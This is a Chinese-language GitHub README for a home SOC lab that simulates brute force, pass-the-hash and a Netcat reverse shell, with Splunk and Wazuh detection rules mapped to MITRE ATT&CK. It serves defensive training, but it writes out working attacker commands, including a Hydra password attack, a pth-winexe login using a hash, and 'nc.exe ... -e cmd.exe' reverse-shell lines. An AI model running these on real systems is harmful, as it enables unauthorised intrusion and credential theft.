adipatil-0/attack-chain-detection-mitre
GitHub: adipatil-0/attack-chain-detection-mitre
在隔离实验室中模拟多阶段攻击链并提供配套 Splunk/Wazuh 检测规则与 MITRE ATT&CK 映射的 SOC 实战项目。
Stars: 0 | Forks: 0
# 攻击链检测:暴力破解 → 横向移动 → C2 (映射至 MITRE ATT&CK)
## 执行摘要
本项目在隔离的家庭 SOC 实验室中模拟了一个真实的多阶段攻击链 —— 凭据暴力破解、哈希传递横向移动以及通过反向 Shell 进行的 C2。每个阶段均映射至 MITRE ATT&CK,并为 Wazuh 和 Splunk 编写了检测规则,展示了端到端的 SOC 分析师检测工程技能。
## 架构 (draw.io 描述)
- **云/机器 1**: Kali Linux (攻击者) — 192.168.100.10
- **机器 2**: Windows 10 + Sysmon v15 (目标/受害者) — 192.168.100.20
- **机器 3**: Windows Server 2019 (域控) — 192.168.100.5
- **机器 4**: Wazuh Manager + Dashboard (SIEM) — 192.168.100.50
- **机器 5**: Splunk (日志分析) — 192.168.100.51
- 通过一个标签为 "Host-only vSwitch 192.168.100.0/24" 的交换机图标连接所有机器
- 箭头: Kali → Win10 (Hydra, PtH, Netcat), Win10/DC → Wazuh agent → Wazuh Manager → Splunk (forwarder)
## 完整攻击链表
| 步骤 | 操作 | EID/日志 | 技术 | 检测工具 |
|------|--------|---------|-----------|-----------------|
| 1 | 针对 RDP/SMB 的 Hydra 暴力破解 | Win EID 4625, 4624 | T1110.001 | Wazuh + Splunk |
| 2 | Mimikatz 哈希传递 | Win EID 4624 (LogonType 9/3), Sysmon EID 10 | T1550.002 | Wazuh + Sysmon |
| 3 | Netcat 反向 Shell C2 | Sysmon EID 1, 3; Zeek conn.log | T1071.001 | Wazuh + Zeek |
## 阶段 1:暴力破解 (T1110.001)
**攻击者命令:**
```
hydra -l administrator -P /usr/share/wordlists/rockyou.txt rdp://192.168.100.20
```
**触发的日志:** Windows 安全 EID 4625 (登录失败) 洪水,随后在猜中时触发 4624 (成功)。
**MITRE 映射:**
| 战术 | 技术 ID | 技术名称 |
|--------|--------------|-----------------|
| 凭据访问 | T1110.001 | 暴力破解:密码猜测 |
**Splunk SPL:**
```
index=wineventlog EventCode=4625
| bin _time span=1m
| stats count by _time, Account_Name, src_ip
| where count > 10
```
**Wazuh YAML 规则:**
```
- rule:
id: 100110
level: 10
if_matched_sid: 60122
same_source_ip: true
description: "Multiple failed RDP/SMB logons - possible brute force"
mitre:
id: T1110.001
options: alert_by_email
```
**误报:** 被锁定用户重试密码、配置错误的服务账号频繁发起认证。通过地理位置/IP 信誉和账号重要性进行验证。
## 阶段 2:哈希传递横向移动 (T1550.002)
**攻击者命令:**
```
pth-winexe -U administrator%aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 //192.168.100.20 cmd
```
**触发的日志:** 带有 NTLM 认证的 EID 4624 LogonType 3/9,Sysmon EID 10 (进程访问 - mimikatz 读取 lsass.exe 内存)。
**MITRE 映射:**
| 战术 | 技术 ID | 技术名称 |
|--------|--------------|-----------------|
| 横向移动 | T1550.002 | 使用备用身份验证材料:哈希传递 |
**Splunk SPL:**
```
index=wineventlog EventCode=4624 LogonType=3 AuthenticationPackageName=NTLM
| stats count by Account_Name, src_ip, dest
| where count > 1
```
**Wazuh YAML 规则:**
```
- rule:
id: 100210
level: 12
if_sid: 92010
field: win.eventdata.targetImage
pattern: lsass.exe
description: "Possible LSASS access - credential dumping (Mimikatz PtH)"
mitre:
id: T1550.002
```
**误报:** 合法的管理员工具 (任务管理器、防病毒软件) 访问 lsass.exe;通过已签名的进程哈希加入白名单。
## 阶段 3:Netcat 反向 Shell C2 (T1071.001)
**攻击者命令:**
```
nc -lvnp 4444
```
**受害者 (通过 PtH Shell 执行):**
```
nc.exe 192.168.100.10 4444 -e cmd.exe
```
**触发的日志:** Sysmon EID 1 (进程创建: nc.exe),Sysmon EID 3 (到端口 4444 的网络连接),Zeek conn.log 在非标准端口上的记录。
**MITRE 映射:**
| 战术 | 技术 ID | 技术名称 |
|--------|--------------|-----------------|
| 命令与控制 | T1071.001 | 应用层协议:Web 协议 |
**Splunk SPL:**
```
index=sysmon EventCode=3 dest_port=4444
| table _time, Computer, Image, src_ip, dest_ip, dest_port
```
**Wazuh YAML 规则:**
```
- rule:
id: 100310
level: 12
if_sid: 92003
field: win.eventdata.image
pattern: nc.exe|ncat.exe
description: "Netcat execution - possible reverse shell C2"
mitre:
id: T1071.001
```
**误报:** 网络管理员出于合法排错目的使用 netcat;结合目的 IP 信誉 进行关联分析。
## 如何复现
**前置条件:**
- VMware Workstation,配置 host-only 网络 192.168.100.0/24
- Kali Linux (攻击者)、Windows 10 + Sysmon v15、Windows Server 2019 (域控)
- Wazuh 4.7.x manager + agents,Splunk 免费版,运行在监控 tap 上的 Zeek
**步骤:**
1. 部署隔离的 vSwitch 并为所有虚拟机分配静态 IP
2. 在 Windows 10 上安装 Sysmon (SwiftOnSecurity 配置)
3. 在 Windows 10 和域控上安装 Wazuh agent,并将其注册到 manager
4. 运行阶段 1 (Hydra) → 在 Wazuh 仪表板中验证 EID 4625
5. 运行阶段 2 (通过 pth-winexe/Mimikatz 进行 PtH) → 验证 Sysmon EID 10
6. 运行阶段 3 (Netcat) → 验证 Sysmon EID 1/3 和 Zeek conn.log
7. 将 SPL 查询导入 Splunk;将 Wazuh YAML 规则部署到 `local_rules.xml`
## 经验总结
- **技术层面**:Sysmon EID 10 (对 lsass.exe 的进程访问) 是凭据转储的高保真指标 —— 优先调整此规则。
- **技术层面**:将暴力破解 (4625 激增) 与随后的成功登录 (4624) 进行关联,可显著减少检测链中的误报。
- **软技能**:使用攻击者视角的命令记录每个阶段,提高了我在模拟 SOC 面试中解释攻击过程的能力。
- **流程层面**:逐步构建检测 (每次针对一种 ATT&CK 技术) 使得调试 Wazuh 规则语法变得轻松得多。
标签:SOC实验室, Wazuh, 安全运营, 扫描框架, 攻击模拟, 驱动签名利用